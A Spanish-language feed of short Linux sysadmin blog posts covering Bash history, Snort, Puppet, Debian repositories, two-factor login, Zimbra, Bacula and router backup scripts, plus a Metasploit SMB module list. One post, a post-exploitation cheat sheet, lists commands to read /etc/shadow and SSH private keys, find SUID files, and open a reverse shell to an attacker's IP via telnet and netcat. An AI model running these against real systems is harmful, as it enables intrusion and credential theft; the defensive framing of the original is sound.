Bash, trucos con el historial

Hace ya algún tiempo os expliqué cómo añadir la fecha de ejecución en el historial de usuario de GNU/Linux. Hoy vamos a seguir por ese lado y vamos a ver algunos trucos más, también interesantes, para poder definir mejor el historial y sobre todo, tener un mayor control de lo que sucede en el sistema.
  • Tamaño del histórico
    El tamaño del fichero de históricos de cada usuario tiene un límite y éste puede ser alterado con las variables HISTSIZE y HISTFILESIZE. La primera hace referencia a la longitud, o número de entradas del historial y la segunda al tamaño del fichero propiamente dicho.
    HISTSIZE=1000
    HISTFILESIZE=1000
    
    Por cierto, si no deseas guardar nada en el historial, puedes hacerlo tal que así,
    export HISTSIZE=0
    
  • Control de comandos duplicados
    Una de las cosas que más molesta resulta en el historial es ver el mismo comando una y otra vez. Si ya está ejecutado y por lo tanto almacenado, simplemente no queremos que lo vuelva a almacenar. Para solucionar ésto, tenemos las variables de control, que pueden tener el valor
    export HISTCONTROL=ignoredups
    
    con el que eliminamos los comando duplicados que se hagan de forma consecutiva. O bien,
    export HISTCONTROL=erasedups
    
    Que elimina todos los duplicados, sean o no consecutivos.
  • Localización del historial
    Todo el historial, a no ser que se indique lo contrario, se almacena en la carpeta del usuario, más concretamente en ~/.bash_history. Este valor es el predeterminado de la variable HISTFILE. Si lo deseamos cambiar, únicamente tendremos que darle otra localización y automáticamente creará el fichero de comandos en ella.
    Como nota interesante, decir que podemos crear un fichero de historial de root para cada usuario que se conecte. La forma de lograrlo es con un pequeño truco,
    export HISTFILE=/root/.bash_history-$(who am i | awk '{print $1}';exit)
    

La entrada Bash, trucos con el historial la puedes leer en Puppet Linux.
Leer más

PortVar Lookup failed on '$FILE_DATA_PORTS'

Trabajando con la última versión de Snort, la 2.9.2, disponible en Ubuntu server 12.04 LTS (#precise) nos encontramos al actualizar las reglas el mensaje de error que hace título a este post: "PortVar Lookup failed on '$FILE_DATA_PORTS'". Si vemos en qué fichero es requerida esa variable, vemos que es en el fichero de reglas web-client.rules.
Concretamente en la siguiente alerta,


alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"WEB-CLIENT RealNetworks RealPlayer SWF frame handling buffer overflow attempt"; flow:to_client,established; file_data; content:"|78 00 05 5F 00 00 0F A0 00 00 0C 01 00 43 02 FF FF FF BF 00 39|"; fast_pattern:only; metadata:policy balanced-ips drop, policy security-ips drop, service http, service imap, service pop3; reference:bugtraq,30370; reference:cve,2007-5400; classtype:attempted-user; sid:17633; rev:6;)
Concretamente esta variable hace referencia a los puertos en los que se puede inspeccionar ficheros. Para solucionar el fallo, simplemente tenemos que abrir el fichero de configuración de Snort, típicamente /etc/snort/snort.conf, y agregar la siguiente línea:
# List of file data ports for file inspection
portvar FILE_DATA_PORTS [$HTTP_PORTS,110,143]
Con esto podrás volver a arrancar Snort tranquilamente que ya será 100% funcional.

Más info: blog.snort.org

La entrada PortVar Lookup failed on '$FILE_DATA_PORTS' la puedes leer en Puppet Linux.
Leer más

dnsdomainname: Name or service not known

Si estáis trabajando con un cliente Puppet, y cada vez que éste se ejecuta sobre la máquina os da el siguiente error,
shell> puppetd agent --test
dnsdomainname: Name or service not known
info: Caching catalog for ...
Lo más probable es que cuando configurasteis el equipo se os olvidara de colocar una entrada en /etc/hosts. Esto pasa, por ejemplo, cuando a la máquina se le cambia de nombre. La forma de resolverlo es sencilla. Agregamos el nombre del equipo en el fichero citado apuntado a localhost,
127.0.1.1      nameOfMachine
Si volvéis a lanzar Puppet ya no debería de lanzaros el error de dnsdomainname.

La entrada dnsdomainname: Name or service not known la puedes leer en Puppet Linux.
Leer más

Crear un repositorio local para Debian/Ubuntu

Los sistemas Debian/Ubuntu emplean los paquetes .deb, que entre sus mejores características destaca la gestión de dependencias entre paquetes. Cada paquete incluye una serie de reglas de instalación y dependencias de otros paquetes, por lo que se garantizar su funcionamiento si dicho paquete está bien creado.
Como usuarios de sistemas Debian, podemos crear nuestros propios paquetes y empaquetarlos para que su instalación sea sencilla. Hace tiempo ya hablamos de cómo crear nuestra copia de los repositorios oficiales de Debian y hoy vamos a ver cómo poder crear nuestro propio repositorio, pero con los paquetes que creamos nosotros mismos.
Pero, ¿qué ventajas tiene crear un repositorio para los paquetes locales? Entre otras, podemos destacar las dos siguientes,
  • Resolución de dependencias
    Los paquetes instalados vía apt-get hacen la resolución de dependencias automáticamente, mientras que los instalados con dpkg no. Si tiene dependencias sin cumplir habría que ejecutar
    shell> apt-get -f install
    
  • Envío de paquetes a los equipos
    Otra de las principales ventajas es que no sería necesario copiar un paquete al equipo en el que queramos instalarlo. apt se encargará de hacerlo por nosotros.
Pues bien, vamos por lo tanto a crear nuestro propio repositorio con los paquetes que tengamos a mano. Estos pueden ser tanto oficiales como creados por nosotros. El único requisito, que sean .deb correctos. Nuestro repositorio lo vamos a crear bajo /var/www/repo y luego lo dejaremos accesible vía http. Lo primero es instalar el software necesario, en caso de que no esté previamente instalado.
shell> apt-get install dpkg-dev
A continuación copiamos todos los paquetes que nos interese a la raíz del nuevo repositorio.
shell> cp *.deb /var/www/repo
Ahora nos movemos al directorio del repositorio
shell> cd /var/www/repo
y ejecutamos el comando dpkg-scanpackages tal que así,
shell> dpkg-scanpackages . /dev/null | gzip > Packages.gz
Con lo que acabamos de crear un índice de paquetes, con los paquetes que hay en nuestro repositorio. Este índice es necesario, ya que es el que leen los sistemas Debian al ejecutar apt-get update.
Ya para finalizar, simplemente queda por añadir la URL que resuelva vuestra máquina a los sources.list de cada una de las máquinas en las que deseéis emplear vuestros paquetes.

Nota: El último paso hay que ejecutarlo siempre que se añada un nuevo paquete al repositorio local.

La entrada Crear un repositorio local para Debian/Ubuntu la puedes leer en El mundo en bits.
Leer más

Gmail, activar verificación en 2 pasos

Gmail se ha convertido desde hace unos años en un referente en el mundo del correo electrónico. Existen muchas voces a favor y otras tantas en contra, pero la realidad es que se está empleando por que te ofrecen un producto de calidad (opinión personal) a buen precio (publicidad y datos ;-) y sobre todo que día a día intentan trabajar para mejorarlo.
Hace ya tiempo hablando con unos amigos me comentaron que no sabían lo que era Google en 2 pasos, así que se lo expliqué. De forma resumida, Google en 2 pasos es un extra de seguridad que te proporciona Google para garantizar que tú y sólo tú accedas a tu cuenta de correo. Apoyándose en la telefonía móvil y cada vez más en dispositivos móviles inteligentes (Android y iPhone), Google consigue que para acceder a tu cuenta de correo necesites dos verificaciones. La contraseña de toda la vida y una clave numérica y autogenerada en función del tiempo. Cada 30 segundos dicha clave cambia, por lo que obtenerla e aprovecharla ya no es cosa de un keylogger.
En este pequeño artículo vamos a ver cómo configurar tu cuenta de Gmail para emplear la autenticación en dos pasos. Así que ya sabes, si alguien accede a tu cuenta, no será por que no tengas forma de meterle más seguridad que tu '12345' de contraseña ;-)
Para comenzar, nos vamos a las propiedades de tu cuenta. Desde Gmail, arriba a la derecha nos vamos a las propiedades de tu cuenta. Una vez ahí se nos abrirá una nueva ventana como la que se muestra aquí y en la que podemos ver un botón que nos permite activar la verificación en dos pasos. También nos informa en rojo que actualmente está desactivada. Puesto que tenemos un teléfono móvil (nuestro teléfono móvil) a mano, pinchamos en dicho botón y continuamos con los pasos que nos va diciendo. Por defecto, Google en 2 pasos, ofrece el envío de las claves vía SMS, que será lo primero que tengamos que configurar. Esta será la forma de configurar también nuestra verificación. Cuando terminemos veremos que ya la tenemos activada y desde ahora, cada vez que deseemos acceder a nuestro correo se nos pedirá una clave, que será enviada vía SMS al número facilitado.
Tranquilos, Google es sabio y aprenderá en qué equipos puede confiar y no os la pedirá siempre en vuestro equipo conocido, pero si alguien se hace con vuestra contraseña y accede desde otro lado, os llegará un maravilloso SMS notificando la solicitud de una clave. Si esto pasa, cambiar vuestra contraseña ;-)


Pero bien, para aquellos que tengáis un móvil, de los llamados inteligente, Google tiene a vuestra disposición Google Autenticator. Lo descargamos en nuestro móvil si no lo tenemos todavía y en la misma página en la que estábamos, indicamos que tenemos un móvil, por ejemplo Android. Esto nos abrirá una ventana emergente similar a la que os muestro aquí con un código QR. Lo escaneáis (por ejemplo con barcode scanner) y automáticamente agregará vuestra cuente de Gmail a Autenticator. El código en esta aplicación se genera cada 30 segundos y tendréis que emplearlo antes de que caduque. Cuando metamos uno, se desactivará en envío de claves vía SMS y emplearemos siempre esta forma para obtener la clave que deseemos. Mucho más rápida que confiar en la telefonía.
Como podéis observar, configurar este extra de seguridad en vuestra cuenta de correo es muy sencillo, así que si os parece interesante, hacerlo para estar más tranquilos!


La entrada Gmail, activar verificación en 2 pasos la puedes leer en El mundo en bits.
Leer más

zmprov, Zimbra en línea de comandos (II)

Siguiendo con el post anterior, hoy vamos a ver más detalles sobre el empleo de zmprov, la utilidad de manejo de cuentas Zimbra desde línea de comandos. Si ya vimos cómo manejar cuentas de usuario y opciones sobre ellas. Hoy vamos a ver detalles del empleo sobre listas de distribución.
  • Crea una lista de distribución.
    shell> zmprov cdl listname@domain.com
    
  • Agrega un miembro a una lista de distribución.
    shell> zmprov adlm listname@domain.com member1@domain.com
    
    También se pueden agregar varios miembres a la lista de distribición de una sóla vez.
    shell> zmprov adlm listname@domain.com member1@domain.com \
                                           member2@domain.com \
                                           member3@domain.com
    
  • Lista los miembros de una lista de distribución.
    shell> zmprov gdl listname@domain.com
    
Leer más

Metasploit, smb scan

metasploit contiene varios módulos que sirven para consultar y auditar la seguridad del protocolo SMB. Quien dice auditar, dice que un factible atacante explote, por lo que es mejor conocerlos y saber que no somos, cuando menos, fácilmente vulnerables.
Una sencilla búsqueda sobre smb en metasploit nos arroja los siguientes módulos, que comentamos a continuación.
  • smb/pipe_auditor
    Utilizado para determinar qué servicios SMB están disponibles.
  • smb/pipe_dcerpc_auditor
    Escanea todos los servicios SMB y devuelve aquellos que puede contender detrás servicios DCERPC.
  • smb/smb2
    Determinar si los diferentes equipos soportan el protocolo SMB2.
  • smb/smb_enumshares
    Enumera todos los archivos y carpetas compartidas en red.
    Permite establecer una combinación de usuario y contraseña, con lo que aplica a toda la red escaneada el mismo patrón en búsqueda de equipos accesibles.
  • smb/smb_enumusers
    Empleando el protocolo SMB RPC lista todos los usuarios existentes.
  • smb/smb_login
    Intenta acceder a los sistemas mediante una autenticación en el protocolo SMB. Entre otras cosas sirve para comprobar la fortaleza de las contraseñas, por lo que permite un ataque por fuerza bruta de usuario y contraseña.
  • smb/smb_lookupsid
    Permite determinar que usuarios hay creados en cada una de las maquinas de la red, lo que facilita enormemente un ataque por fuerza bruta.
  • smb/smb_version
    Como su nombre indica, devuelve la versión de SMB empleada en cada uno de los equipos de la red, así como otras características de los mismos si son directamente accesibles.

La entrada Metasploit, smb scan la puedes leer en Puppet Linux.
Leer más

[bacula] Cambiar estado de una cinta

Sobre Bacula ya hemos comentado alguna vez cosas en este blog y hoy quería explicar cómo poder hacer para cambiar el estado de una cinta.
Si empleas Bacula de forma habitual contra una cabina de cintas, sabrás que cada cierto tiempo alguna de las cintas va cambiando de estado, bien por que esté llena, bien por que la hemos sacado, etc. Pues bien, si se nos da el caso de que queremos cambiar el estado de una de las cintas, tenemos que saber cómo hacerlo.
Para ello, partimos del siguiente estado:
* list volume
Pool: Daily
+---------+------------+-----------+---------+-----------------+...
| MediaId | VolumeName | VolStatus | Enabled | VolBytes        |...
+---------+------------+-----------+---------+-----------------+...
|      13 | 365LL4     | Append    |       1 | 166,661,139,456 |...
|      14 | 366LL4     | Purged    |       1 |  91,181,966,336 |...
+---------+------------+-----------+---------+-----------------+...
Pool: Weekly
+---------+------------+-----------+---------+-----------------+...
| MediaId | VolumeName | VolStatus | Enabled | VolBytes        |...
+---------+------------+-----------+---------+-----------------+...
|       3 | 367LL4     | Append    |       1 | 430,330,005,504 |...
|       4 | 368LL4     | Used      |       1 | 433,204,208,640 |...
|       5 | 369LL4     | Used      |       1 | 429,060,667,392 |...
|       6 | 595KL4     | Used      |       1 | 432,945,128,448 |...
|       7 | 596KL4     | Used      |       1 | 432,558,379,008 |...
|       8 | 597KL4     | Used      |       1 | 433,293,364,224 |...
+---------+------------+-----------+---------+-----------------+...
Pool: 3month
+---------+------------+-----------+---------+-----------------+...
| MediaId | VolumeName | VolStatus | Enabled | VolBytes        |...
+---------+------------+-----------+---------+-----------------+...
|       9 | 598KL4     | Archive   |       1 | 476,773,678,080 |...
|      10 | 599KL4     | Append    |       1 | 430,071,247,872 |...
+---------+------------+-----------+---------+-----------------+...
Bajo el campo MediaId tenemos el identificador numérico de la cinta, en VolumeName el nombre de la misma y en VolStatus, el estado. Este estado como vemos tiene varios valores y lo que nos interesa es pasar la cinta de nombre 599KL4 de estado Append a estado Archived. En mi caso, por que la vamos a sacar de la cabina y por lo tanto no interesa que pueda intentar cogerla. Para ello lo primero es actualizar el estado de dicha cinta o volumen.
* update
Update choice:
     1: Volume parameters
     2: Pool from resource
     3: Slots from autochanger
     4: Long term statistics
Choose catalog item to update (1-4): 1
Aquí veremos el listado de parámetros que tenemos a disposición de modificar para un volumen. En nuestro caso, como queremos modificar el estado, elegimos la opción 1.
Parameters to modify:
     1: Volume Status
     2: Volume Retention Period
     3: Volume Use Duration
     4: Maximum Volume Jobs
     5: Maximum Volume Files
     6: Maximum Volume Bytes
     7: Recycle Flag
     8: Slot
     9: InChanger Flag
    10: Volume Files
    11: Pool
    12: Volume from Pool
    13: All Volumes from Pool
    14: All Volumes from all Pools
    15: Enabled
    16: RecyclePool
    17: Action On Purge
    18: Done
Select parameter to modify (1-18): 1
Ahora tenemos que seleccionar el pool de volúmenes (de los que tengamos definidos)
Defined Pools:
     1: Daily
     2: Weekly
     3: 3month
Select the Pool (1-3): 3
Y a continuación el volumen (cinta) que esté dentro de dicho pool.
+---------+------------+-----------+---------+-----------------+...
| MediaId | VolumeName | VolStatus | Enabled | VolBytes        |...
+---------+------------+-----------+---------+-----------------+...
|       9 | 598KL4     | Archive   |       1 | 476,773,678,080 |...
|      10 | 599KL4     | Append    |       1 | 430,071,247,872 |...
+---------+------------+-----------+---------+-----------------+...
Enter *MediaId or Volume name: 599KL4
Puesto que hemos optado por cambiar el estado, nos indicará el estado actual y nos pedirá el nuevo estado.
Updating Volume "599KL4"
Current Volume status is: Append
Possible Values are:
     1: Append
     2: Archive
     3: Disabled
     4: Full
     5: Used
     6: Cleaning
     7: Read-Only
Choose new Volume Status (1-7): 2
Una vez aceptado, marcará el cambio y ya podemos salir.
New Volume status is: Archive
Parameters to modify:
     1: Volume Status
     2: Volume Retention Period
     3: Volume Use Duration
     4: Maximum Volume Jobs
     5: Maximum Volume Files
     6: Maximum Volume Bytes
     7: Recycle Flag
     8: Slot
     9: InChanger Flag
    10: Volume Files
    11: Pool
    12: Volume from Pool
    13: All Volumes from Pool
    14: All Volumes from all Pools
    15: Enabled
    16: RecyclePool
    17: Action On Purge
    18: Done
Select parameter to modify (1-18): 18
Selection terminated.
* quit
Leer más

hp, backup automático

En un post anterior explicamos cómo programar un pequeño script que se encargue de hacer el backup de los router's Enterasys. Hoy vamos a aplicar el mismo procedimiento, apoyándonos en expect, para realizar dicho proceso en equipamiento HP.
A mayores en este caso, vamos a pasar el nombre DNS o la IP del router al que conectarnos en línea de comandos, para así poder ejecutarlo contra varios equipos sin tener que alterar el código.
#!/usr/bin/expect -f

set router [lindex $argv 0]

spawn telnet "$router"
set timeout 60
match_max 100000
expect -exact "Password:"
send -- "my_passwd\n"
expect -- "#"
send "copy running-config tftp server.local $router.cfg unix\r"
expect -- "#"
send "exit\r"
expect -- ">"
send "exit\r"
expect -- "log out"
send "y\r"
send_user "\nSaliendo...\n"
Leer más

zmprov, Zimbra en línea de comandos (I)

Zimbra nos ofrece un manejo del servidor muy sencillo desde el interfaz gráfico de administración que trae, pero también la posibilidad de hacer exactamente lo mismo desde línea de comandos. Según qué tareas, el empleo de zmprov puede hacer que éstas sean más rápidas y eficientes.
Mira cómo hacer algunas cosas directamente desde línea de comandos.
  • Crea una cuenta con una contraseña por defecto.
    shell> zmprov ca name@domain.com password
    
  • Crea una cuenta con una contraseña concreta.
    Para poder emplearlo, hay que conocer el COS ID number. Para encontrarlo, gc COSname.
    shell> zmprov ca name@domain.com password zimbraCOS cosIDnumberstring
    
  • Crea una cuenta cuando la contraseña no es autentificada internamente.
    Las comillas simples son necesarias e indican que no existe una contraseña local.
    shell> zmprov ca name@domain.com ''
  • Modifica el estado de una cuenta.
    shell> zmprov ma accountname@domain.com zimbraAccountStatus active
    
  • Modifica la información de una cuenta.
    shell> zmprov ma user@domain.com givenName="Juan" sn="Perez"
    
  • Aumentar el tamaño del buzón de una cuenta.
    shell> zmprov ma user@domain.com zimbraMailQuota 1073741824
  • Consultar el tamaño del buzón de una cuenta.
    shell> zmprov ga user@domain.com | grep zimbraMailQuota
  • Renombra una cuenta de usuario.
    shell> zmprov ra accountname@domain.com accountname2@domain.com
    
  • Agrega un alias a un cuenta.
    shell> zmprov aaa accountname@domain.com aliasname@domain.com
    
  • Lista los parámetros de una cuenta.
    shell> zmprov ga accountname@domain.com 
    
  • Cambia la contraseña de una cuenta.
    shell> zmprov sp admin@domain.com password
  • Lista todas las cuentas y configuraciones para un dominio concreto.
    shell> zmprov gaa -v domain.com
    
  • Lista todas las cuentas del servidor.
    shell> zmprov gaa
    
  • Lista todas las cuentas de un dominio especifico.
    shell> zmprov gaa domain.com

La entrada zmprov, Zimbra en línea de comandos (I) la puedes leer en Puppet Linux.
Leer más

Escalada de privilegios en GNU/Linux

A continuación os dejo una pequeña chuleta con todos aquellos comandos a ejecutar tras una correcta explotación de un sistema GNU/Linux.
Lógicamente esta irá creciendo en función de las necesidades, pero son los básicos para saber desde la IP del equipo, a qué usuarios eres en realidad dentro del mismo.
Una vez dentro de un equipo, todos los datos a los que tengamos acceso pueden suponer un riesgo de seguridad para el sistema e incluso para la red, así que ya sabes, la mejor manera de defender es saber por dónde te van a atacar.
  • Sistema Operativo
    • Tipo de distribución y sistema operativo
      shell> cat /etc/issue
      shell> cat /etc/*-release
      shell> cat /etc/lsb-release
      shell> cat /etc/redhat-release
      
    • Versión del kernel
      shell> cat /proc/version   
      shell> uname -a
      shell> uname -mrs 
      shell> rpm -q kernel 
      shell> dmesg | grep Linux
      shell> ls /boot | grep vmlinuz-
      
    • Variables de entorno
      shell> cat /etc/profile
      shell> cat /etc/bashrc
      shell> cat ~/.bash_profile
      shell> cat ~/.bashrc
      shell> cat ~/.bash_logout
      shell> env
      shell> set
      
  • Aplicaciones y servicios
    • Servicios en ejecución
      shell> ps aux
      shell> ps -ef
      shell> top
      shell> cat /etc/service 
      
    • Servicios ejecutados como root
      shell> ps aux | grep root
      shell> ps -ef | grep root
      
    • Aplicaciones instaladas
      shell> ls -alh /usr/bin/
      shell> ls -alh /sbin/
      shell> dpkg -l
      shell> rpm -qa
      shell> ls -alh /var/cache/apt/archivesO
      shell> ls -alh /var/cache/yum/
      
    • Configuraciones por defecto o plugins (vulnerables)
      shell> cat /etc/syslog.conf 
      shell> cat /etc/chttp.conf
      shell> cat /etc/lighttpd.conf
      shell> cat /etc/cups/cupsd.conf 
      shell> cat /etc/inetd.conf 
      shell> cat /etc/apache2/apache2.conf
      shell> cat /etc/my.conf
      shell> cat /etc/httpd/conf/httpd.conf
      shell> cat /opt/lampp/etc/httpd.conf
      shell> ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 
      
    • Listado de trabajos programados
      shell> crontab -l
      shell> ls -alh /var/spool/cron
      shell> ls -al /etc/ | grep cron
      shell> ls -al /etc/cron*
      shell> cat /etc/cron*
      shell> cat /etc/at.allow
      shell> cat /etc/at.deny
      shell> cat /etc/cron.allow
      shell> cat /etc/cron.deny
      shell> cat /etc/crontab
      shell> cat /etc/anacrontab
      shell> cat /var/spool/cron/crontabs/root
      
  • Red
    • Tarjetas de red y conexiones configuradas
      shell> /sbin/ifconfig -a
      shell> cat /etc/network/interfaces
      shell> cat /etc/sysconfig/network 
      
    • Configuración de red
      shell> cat /etc/resolv.conf
      shell> cat /etc/sysconfig/network
      shell> cat /etc/networks
      shell> iptables -L
      shell> hostname
      shell> dnsdomainname
      
    • Conexiones establecidas con el equipo
      shell> lsof -i 
      shell> lsof -i :80
      shell> grep 80 /etc/services
      shell> netstat -antup
      shell> netstat -antpx
      shell> netstat -tulpn
      shell> chkconfig --list
      shell> chkconfig --list | grep 3:on
      shell> last
      shell> w
      shell> arp -e
      shell> route
      shell> /sbin/route -nee
      
    • Hay posibilidad de sniffar la red
      shell> tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
      
    • Arrancando una shell remota
      shell> nc -lvp 4444    # Attacker. Input (Commands)
      shell> nc -lvp 4445    # Attacker. Ouput (Results)
      shell> telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445
      
    • port forwarding
      shell> ssh -L 8080:127.0.0.1:80 root@192.168.1.7
      shell> ssh -R 8080:127.0.0.1:80 root@192.168.1.7
      
  • Información de usuarios
    • Quién eres y qué usuarios hay
      shell> id
      shell> who
      shell> w
      shell> last 
      shell> cat /etc/passwd | cut -d:    # List of users
      shell> grep -v -E "^#" /etc/passwd|awk -F: '$3 == 0 { print $1}'
      shell> awk -F: '($3 == "0") {print}' /etc/passwd
      shell> cat /etc/sudoers
      shell> sudo -l
      shell> cat ~/.bashrc
      shell> cat ~/.profile
      shell> cat /var/mail/root
      shell> cat /var/spool/mail/root
      
    • Acceso a ficheros sensibles
      shell> cat /etc/passwd
      shell> cat /etc/group
      shell> cat /etc/shadow
      shell> ls -alh /var/mail/
      
    • Cosas "de interés" en la home del equipo
      shell> ls -ahlR /root/
      shell> ls -ahlR /home/
      
    • Contraseñas, scripts, configuraciones, bases de datos, etc.
      shell> cat /var/apache2/config.inc
      shell> cat /var/lib/mysql/mysql/user.MYD 
      shell> cat /root/anaconda-ks.cfg
      
    • Últimos comandos ejecutados
      shell> cat ~/.bash_history
      shell> cat ~/.nano_history
      shell> cat ~/.atftp_history
      shell> cat ~/.mysql_history 
      shell> cat ~/.php_history
      
    • Claves privadas y públicas de ssh
      shell> cat ~/.ssh/authorized_keys
      shell> cat ~/.ssh/identity.pub
      shell> cat ~/.ssh/identity
      shell> cat ~/.ssh/id_rsa.pub
      shell> cat ~/.ssh/id_rsa
      shell> cat ~/.ssh/id_dsa.pub
      shell> cat ~/.ssh/id_dsa
      shell> cat /etc/ssh/ssh_config
      shell> cat /etc/ssh/sshd_config
      shell> cat /etc/ssh/ssh_host_dsa_key.pub
      shell> cat /etc/ssh/ssh_host_dsa_key
      shell> cat /etc/ssh/ssh_host_rsa_key.pub
      shell> cat /etc/ssh/ssh_host_rsa_key
      shell> cat /etc/ssh/ssh_host_key.pub
      shell> cat /etc/ssh/ssh_host_key
      
  • Sistema de ficheros
    • Montaje del sistema de ficheros
      shell> mount
      shell> df -h
      shell> cat /etc/fstab
      
    • Permisos avanzados
      shell> find / -perm -1000 -type d 2>/dev/null
      shell> find / -perm -g=s -type f 2>/dev/null
      shell> find / -perm -u=s -type f 2>/dev/null
      shell> find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
      shell> for i in `locate -r "bin$"`
      do
         find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null;
      done
      
    • Qué ficheros pueden ser editados en /etc
      shell> ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null
      shell>  -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null
      shell>  -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null
      shell>  -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null
      shell>  /etc/ -readable -type f 2>/dev/null
      shell>  /etc/ -readable -type f -maxdepth 1 2>/dev/null
      
    • Qué se puede sacar de /var
      shell> ls -alh /var/log
      shell> ls -alh /var/mail
      shell> ls -alh /var/spool
      shell> ls -alh /var/spool/lpd 
      shell> ls -alh /var/lib/pgsql
      shell> ls -alh /var/lib/mysql
      shell> cat /var/lib/dhcp3/dhclient.leases
      
    • Servidor web
      shell> ls -alhR /var/www/
      shell> ls -alhR /srv/www/htdocs/ 
      shell> ls -alhR /usr/local/www/apache22/data/
      shell> ls -alhR /opt/lampp/htdocs/ 
      shell> ls -alhR /var/www/html/
      
    • Cosas de interés en los ficheros de log
      shell> cat /etc/httpd/logs/access_log
      shell> cat /etc/httpd/logs/access.log
      shell> cat /etc/httpd/logs/error_log
      shell> cat /etc/httpd/logs/error.log
      shell> cat /var/log/apache2/access_log
      shell> cat /var/log/apache2/access.log
      shell> cat /var/log/apache2/error_log
      shell> cat /var/log/apache2/error.log
      shell> cat /var/log/apache/access_log
      shell> cat /var/log/apache/access.log
      shell> cat /var/log/auth.log
      shell> cat /var/log/chttp.log
      shell> cat /var/log/cups/error_log
      shell> cat /var/log/dpkg.log
      shell> cat /var/log/faillog
      shell> cat /var/log/httpd/access_log
      shell> cat /var/log/httpd/access.log
      shell> cat /var/log/httpd/error_log
      shell> cat /var/log/httpd/error.log
      shell> cat /var/log/lastlog
      shell> cat /var/log/lighttpd/access.log
      shell> cat /var/log/lighttpd/error.log
      shell> cat /var/log/lighttpd/lighttpd.access.log
      shell> cat /var/log/lighttpd/lighttpd.error.log
      shell> cat /var/log/messages
      shell> cat /var/log/secure
      shell> cat /var/log/syslog
      shell> cat /var/log/wtmp
      shell> cat /var/log/xferlog
      shell> cat /var/log/yum.log
      shell> cat /var/run/utmp
      shell> cat /var/webmin/miniserv.log
      shell> cat /var/www/logs/access_log
      shell> cat /var/www/logs/access.log
      shell> ls -alh /var/lib/dhcp3/
      shell> ls -alh /var/log/postgresql/
      shell> ls -alh /var/log/proftpd/
      shell> ls -alh /var/log/samba/
      
Leer más

Copia de seguridad de routers Enterasys

Que la mejor forma de tener algo seguro es tenerlo apagado eso se sabe desde hace mucho tiempo. Sin embargo, si eso no es posible por que lo necesitas para trabajar en el día a día, como puede ser un router o un switch, tener un backup de la configuración es necesario e importante.
Así que si en tu empresa hay equipos Enterasys, el pequeño script que viene a continuación te puede interesar y mucho. Haciendo uso de expect, se conecta al equipo, se autentica, hace un backup y lo envía a un servidor tftp para que quede seguro.
#!/usr/bin/expect -f

spawn telnet router.local.net
match_max 100000
expect "Username:"
send -- "admin\n"
expect -exact "Password:"
send -- "YOUR_PASS\n"
expect -- "->"
send "delete configs/config.cfg\r"
expect -- "->"
send "show config outfile configs/config.cfg\r"
expect -- "->"
send "copy configs/config.cfg tftp://YOUR_TFTP_SERVER/config.cfg\r"
expect -- "->"
send "exit\r"
send_user "\nSaliendo...\n"
En caso de que algo le pase al equipo y tengamos que emplear una nuevo, ya tendremos de dónde sacar el estado de cada una de las bocas ;-)
Leer más

SSH: Autenticación en dos pasos

Hace ya tiempo Google sacó un sistema novedoso, la autenticación en 2 pasos para todo su sistema. Para aquellos que no lo conozcáis, no es más que un extra se seguridad a tu contraseña basado en un código temporal que deberás de introducir cada vez que quieras iniciar sesión en Google. Puesto que el código es aleatorio y se cambia cada 30 segundos, es extremadamente complicado que alguien que esté a la escucha (ataque made in the middle) pueda capturar la contraseña y aprovecharse de ello. Ya no digamos, adivinarla directamente.
Recientemente encontré un proyecto, Google Authenticator que lleva la misma filosofía a nuestro servidor SSH, permitiendo así tener un segundo paso de autenticación. Imaginaros un servidor SSH expuesto a Internet, pues nunca está demás tener un extra de seguridad, así que esta autenticación en dos pasos, es muy interesante.
En este post vamos a ver cómo configurar este nuevo software con nuestro servidor SSH y cómo poder enlazarlo en nuestro móvil (Android, iPhone o Blackberry). Para ello, vamos a seguir unos sencillos pasos.
  1. Descargar la aplicación Google Authenticator
    Está disponible en los market's de vuestro sistema. Por lo menos en Google Play, como "Google Authenticator". También necesitamos tener instalado un lector de códigos QR, para hacer los pasos más sencillos. Yo os recomiendo Barcode Scanner.
  2. Instalar el software necesario en el servidor GNU/Linux
    Si estás empleando Ubuntu, puedes añadir directamente el repositorio,
    shell> add-apt-repository ppa:failshell/stable
    shell> apt-get update
    shell> apt-get install libpam-google-authenticator
    
    En caso de emplear otra distribución, puedes descargar el código desde aquí y compilarlo.
    Una vez tengas el software instalado, sólo quedará por realizar los pequeños cambios en los ficheros de configuración oportunos.
    1. /etc/pam.d/sshd
      auth required pam_google_authenticator.so
      ...
      ...
      
    2. /etc/ssh/sshd_config
      ChallengeResponseAuthentication yes
      
    3. Reiniciar el servidor ssh
      shell> service ssh restart
      
  3. Generar la clave para el usuario
    Ahora que ya el administrador hizo todo su trabajo, sólo queda generar una nueva clave. Para ello habrá que ejecutar el comando 'google-authenticator' como usuario, lo que generará un código QR que será el que tengamos que leer con nuestro teléfono. A mayores, nos ofrece un 5 códigos de emergencia, los cuales debería de ser guardados en un lugar seguro y también una clave secreta, por si no tienes un lector de códigos QR, poder crear la nueva cuenta en la aplicación móvil.
    shell> google-authenticator 
    
    
    
    
    
    
    
    
    
    
    
    
    
    Your new secret key is: GSDRTAHDMEHZ5545
    Your verification code is 785634
    Your emergency scratch codes are:
      62294539
      67649794
      80559805
      17028096
      57642341
    
    Do you want me to update your "~/.google_authenticator" file (y/n) y
    ...
    ...
  4. Añadirla en el teléfono
    Antes de cerrar la consola, necesitamos abrir la aplicación Authenticator de nuestro móvil y configurar una nueva cuenta. Ahí nos permite añadirla desde un código QR o desde un clave manual. Elegimos la primera opción y escaneamos el código que obtuvimos. Automáticamente se nos añadirá la cuenta a la aplicación y como veréis hay un pequeño reloj en la parte derecha que indica el tiempo de validez de la contraseña. Una vez termina, se genera una nueva clave.
  5. Acceder al sistema
    Si todo está correcto, la próxima vez que se intente acceder al sistema recién configurado veremos que para hacer efectivo el acceso será necesario la verificación en dos pasos. La contraseña y la clave aleatoria.
    javier@local> ssh remote_host
    Verification code: 
    Password: 
    Welcome to Ubuntu 12.10 (GNU/Linux 3.5.0-18-generic i686)
    
     * Documentation:  https://help.ubuntu.com/
    
    
    javier@remote> 
    
